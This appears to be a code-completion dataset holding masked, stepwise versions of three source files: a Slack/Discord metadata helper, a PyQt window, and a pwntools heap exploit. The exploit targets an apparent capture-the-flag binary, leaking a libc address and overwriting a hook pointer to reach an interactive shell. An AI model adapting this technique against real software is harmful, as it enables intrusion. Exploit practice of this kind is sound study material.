{ "blob_id": "5eb4c71869b077dac0d61072c99d801030395fc2", "index": 636, "step-1": "<mask token>\n", "step-2": "<mask token>\npwnlib.gdb.attach(p)\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\n<mask token>\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\n<mask token>\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n<mask token>\nlog.info(hex(__srandom))\n<mask token>\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\n<mask token>\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\n<mask token>\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n", "step-3": "<mask token>\np = process('./weeb_hunting')\nelf = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')\npwnlib.gdb.attach(p)\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n__srandom = u64((r.split('1. ')[1].split('\\n')[0] + '\\x00' * 8)[:8])\nlog.info(hex(__srandom))\nhook = __srandom + 3711517\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n", "step-4": "from pwn import *\np = process('./weeb_hunting')\nelf = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')\npwnlib.gdb.attach(p)\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('AAAA\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('AAAA\\n')\np.send('\\n')\nr = p.recv()\nwhile 'You found a' not in r:\n r = p.recvuntil('>')\n p.send('\\n')\np.send('\\n')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('1')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('A\"`')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAA')\nr = p.recv()\nwhile 'You found a sword' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\n__srandom = u64((r.split('1. ')[1].split('\\n')[0] + '\\x00' * 8)[:8])\nlog.info(hex(__srandom))\nhook = __srandom + 3711517\nlog.info('Fake chunk: ' + hex(hook))\np.sendline('2')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('4')\nr = p.recv()\nwhile '10. empty' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline('3')\nr = p.recv()\nwhile 'You found a' not in r:\n p.send('\\n')\n r = p.recv()\np.sendline(p64(hook)[:6])\np.interactive()\n", "step-5": "from pwn import *\n\np = process(\"./weeb_hunting\")\n\nelf = ELF(\"/lib/x86_64-linux-gnu/libc-2.23.so\")\n\npwnlib.gdb.attach(p)\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"AAAA\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"AAAA\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"AAAA\\n\")\np.send(\"\\n\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tr = p.recvuntil(\">\")\n\tp.send(\"\\n\")\np.send(\"\\n\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"1\")\n\nr = p.recv()\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"4\")\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('\\x41\\x22\\x60')\n\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('AAAA')\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline('AAAA')\n\nr = p.recv()\nwhile \"You found a sword\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `\")\n\nr = p.recv()\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\n__srandom = u64((r.split(\"1. \")[1].split(\"\\n\")[0] + \"\\x00\"*8)[:8])\nlog.info(hex(__srandom))\n\nhook = __srandom + 0x38A21D\n\nlog.info(\"Fake chunk: \" + hex(hook))\n\np.sendline(\"2\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"3\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"4\")\nr = p.recv()\n\nwhile \"10. empty\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(\"3\")\nr = p.recv()\nwhile \"You found a\" not in r:\n\tp.send(\"\\n\")\n\tr = p.recv()\n\np.sendline(p64(hook)[:6])\n\np.interactive()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
"""slack_utils.py: slack-specific utilities""" from os import path import pprint HERE = path.abspath(path.dirname(__file__)) PP = pprint.PrettyPrinter(indent=2) def parse_slack_message_object(message_obj): """parse user_name/channel_name out of slack controller Notes: `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team] Args: message_obj (:obj:`slackbot.message`): response object for slack Returns: dict: message data """ metadata = dict(message_obj._body) try: metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name'] except KeyError: metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format( message_obj._client.users[metadata['user']]['name'] ) metadata['user_name'] = message_obj._client.users[metadata['user']]['name'] metadata['team_name'] = message_obj._client.login_data['team']['name'] return metadata def parse_discord_context_object(context_obj): """parse user_name/channel_name out of discord controller Args: context_obj (:obj:`discord.context`): response object for discord Returns: dict: standardized message data """ metadata = dict() # TODO: all context_obj.message.{children}.name values metadata['user_name'] = context_obj.message.author.name metadata['team_name'] = context_obj.message.server.name try: metadata['channel_name'] = context_obj.message.channel.name except Exception: metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name) return metadata
normal
{ "blob_id": "2df2cccc22aba2104ab15820e13d304addf83f63", "index": 7163, "step-1": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n", "step-3": "<mask token>\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n", "step-4": "<mask token>\nfrom os import path\nimport pprint\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n", "step-5": "\"\"\"slack_utils.py: slack-specific utilities\"\"\"\nfrom os import path\nimport pprint\n\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(\n message_obj._client.users[metadata['user']]['name']\n )\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n\n return metadata\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict() # TODO: all context_obj.message.{children}.name values\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name)\n\n return metadata\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> class MainCentralWidget(QWidget): def __init__(self): super().__init__() tab_bar = self.getTabBar(('录制', '运行')) tab_page = self.getTabPage() tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex) hbox = QHBoxLayout(spacing=0) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(tab_bar) hbox.addWidget(tab_page) self.setLayout(hbox) <|reserved_special_token_0|> def getTabPage(self): tab_page = QStackedWidget() tab_page.addWidget(RecordWidget()) tab_page.addWidget(RunWidget()) return tab_page class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setGeometry(50, 50, 900, 300) self.setWindowTitle('AutoMouse') self.setCentralWidget(MainCentralWidget()) self.show() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class MainCentralWidget(QWidget): def __init__(self): super().__init__() tab_bar = self.getTabBar(('录制', '运行')) tab_page = self.getTabPage() tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex) hbox = QHBoxLayout(spacing=0) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(tab_bar) hbox.addWidget(tab_page) self.setLayout(hbox) def getTabBar(self, names): tab_bar = QListWidget() tab_bar.setStyleSheet(QListWidget_qss()) tab_bar.setFrameShape(QListWidget.NoFrame) tab_bar.setItemAlignment(Qt.AlignCenter) tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) for name in names: item = QListWidgetItem(name) item.setTextAlignment(Qt.AlignCenter) item.setSizeHint(QSize(50, 50)) tab_bar.addItem(item) tab_bar.setCurrentRow(0) return tab_bar def getTabPage(self): tab_page = QStackedWidget() tab_page.addWidget(RecordWidget()) tab_page.addWidget(RunWidget()) return tab_page class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setGeometry(50, 50, 900, 300) self.setWindowTitle('AutoMouse') self.setCentralWidget(MainCentralWidget()) self.show() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def QListWidget_qss(): return """ QListWidget{ outline: 0px; } QListWidget { min-width: 30px; max-width: 50px; color: Black; background: #CCCCCC; } QListWidget::Item:selected { background: #888888; border-left: 5px solid red; } HistoryPanel:hover { background: rgb(52, 52, 52); } """ class MainCentralWidget(QWidget): def __init__(self): super().__init__() tab_bar = self.getTabBar(('录制', '运行')) tab_page = self.getTabPage() tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex) hbox = QHBoxLayout(spacing=0) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(tab_bar) hbox.addWidget(tab_page) self.setLayout(hbox) def getTabBar(self, names): tab_bar = QListWidget() tab_bar.setStyleSheet(QListWidget_qss()) tab_bar.setFrameShape(QListWidget.NoFrame) tab_bar.setItemAlignment(Qt.AlignCenter) tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) for name in names: item = QListWidgetItem(name) item.setTextAlignment(Qt.AlignCenter) item.setSizeHint(QSize(50, 50)) tab_bar.addItem(item) tab_bar.setCurrentRow(0) return tab_bar def getTabPage(self): tab_page = QStackedWidget() tab_page.addWidget(RecordWidget()) tab_page.addWidget(RunWidget()) return tab_page class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setGeometry(50, 50, 900, 300) self.setWindowTitle('AutoMouse') self.setCentralWidget(MainCentralWidget()) self.show() <|reserved_special_token_0|> <|reserved_special_token_1|> import sys from collections import namedtuple from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem from PyQt5.QtCore import Qt, QSize from runWidget import RunWidget from recordWidget import RecordWidget def QListWidget_qss(): return """ QListWidget{ outline: 0px; } QListWidget { min-width: 30px; max-width: 50px; color: Black; background: #CCCCCC; } QListWidget::Item:selected { background: #888888; border-left: 5px solid red; } HistoryPanel:hover { background: rgb(52, 52, 52); } """ class MainCentralWidget(QWidget): def __init__(self): super().__init__() tab_bar = self.getTabBar(('录制', '运行')) tab_page = self.getTabPage() tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex) hbox = QHBoxLayout(spacing=0) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(tab_bar) hbox.addWidget(tab_page) self.setLayout(hbox) def getTabBar(self, names): tab_bar = QListWidget() tab_bar.setStyleSheet(QListWidget_qss()) tab_bar.setFrameShape(QListWidget.NoFrame) tab_bar.setItemAlignment(Qt.AlignCenter) tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) for name in names: item = QListWidgetItem(name) item.setTextAlignment(Qt.AlignCenter) item.setSizeHint(QSize(50, 50)) tab_bar.addItem(item) tab_bar.setCurrentRow(0) return tab_bar def getTabPage(self): tab_page = QStackedWidget() tab_page.addWidget(RecordWidget()) tab_page.addWidget(RunWidget()) return tab_page class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setGeometry(50, 50, 900, 300) self.setWindowTitle('AutoMouse') self.setCentralWidget(MainCentralWidget()) self.show() if __name__ == '__main__': app = QApplication(sys.argv) main_window = MainWindow() sys.exit(app.exec_()) <|reserved_special_token_1|> import sys from collections import namedtuple from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, \ QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem from PyQt5.QtCore import Qt, QSize from runWidget import RunWidget from recordWidget import RecordWidget def QListWidget_qss(): return ''' QListWidget{ outline: 0px; } QListWidget { min-width: 30px; max-width: 50px; color: Black; background: #CCCCCC; } QListWidget::Item:selected { background: #888888; border-left: 5px solid red; } HistoryPanel:hover { background: rgb(52, 52, 52); } ''' class MainCentralWidget(QWidget): def __init__(self): super().__init__() tab_bar = self.getTabBar(('录制', '运行')) tab_page = self.getTabPage() tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex) hbox = QHBoxLayout(spacing=0) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(tab_bar) hbox.addWidget(tab_page) self.setLayout(hbox) def getTabBar(self, names): tab_bar = QListWidget() tab_bar.setStyleSheet(QListWidget_qss()) tab_bar.setFrameShape(QListWidget.NoFrame) tab_bar.setItemAlignment(Qt.AlignCenter) tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) for name in names: item = QListWidgetItem(name) item.setTextAlignment(Qt.AlignCenter) item.setSizeHint(QSize(50, 50)) tab_bar.addItem(item) tab_bar.setCurrentRow(0) return tab_bar def getTabPage(self): tab_page = QStackedWidget() tab_page.addWidget(RecordWidget()) tab_page.addWidget(RunWidget()) return tab_page class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setGeometry(50, 50, 900, 300) self.setWindowTitle('AutoMouse') self.setCentralWidget(MainCentralWidget()) self.show() if __name__ == '__main__': app = QApplication(sys.argv) main_window = MainWindow() sys.exit(app.exec_())
flexible
{ "blob_id": "252a6b97f108b7fdc165ccb2a7f61ce31f129d3d", "index": 8693, "step-1": "<mask token>\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n <mask token>\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef QListWidget_qss():\n return \"\"\"\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n \"\"\"\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\n<mask token>\n", "step-4": "import sys\nfrom collections import namedtuple\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem\nfrom PyQt5.QtCore import Qt, QSize\nfrom runWidget import RunWidget\nfrom recordWidget import RecordWidget\n\n\ndef QListWidget_qss():\n return \"\"\"\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n \"\"\"\n\n\nclass MainCentralWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n\n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n sys.exit(app.exec_())\n", "step-5": "import sys\nfrom collections import namedtuple\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, \\\n QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem\nfrom PyQt5.QtCore import Qt, QSize\n\nfrom runWidget import RunWidget\nfrom recordWidget import RecordWidget\n\n\ndef QListWidget_qss():\n return '''\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n '''\n\n\nclass MainCentralWidget(QWidget):\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n 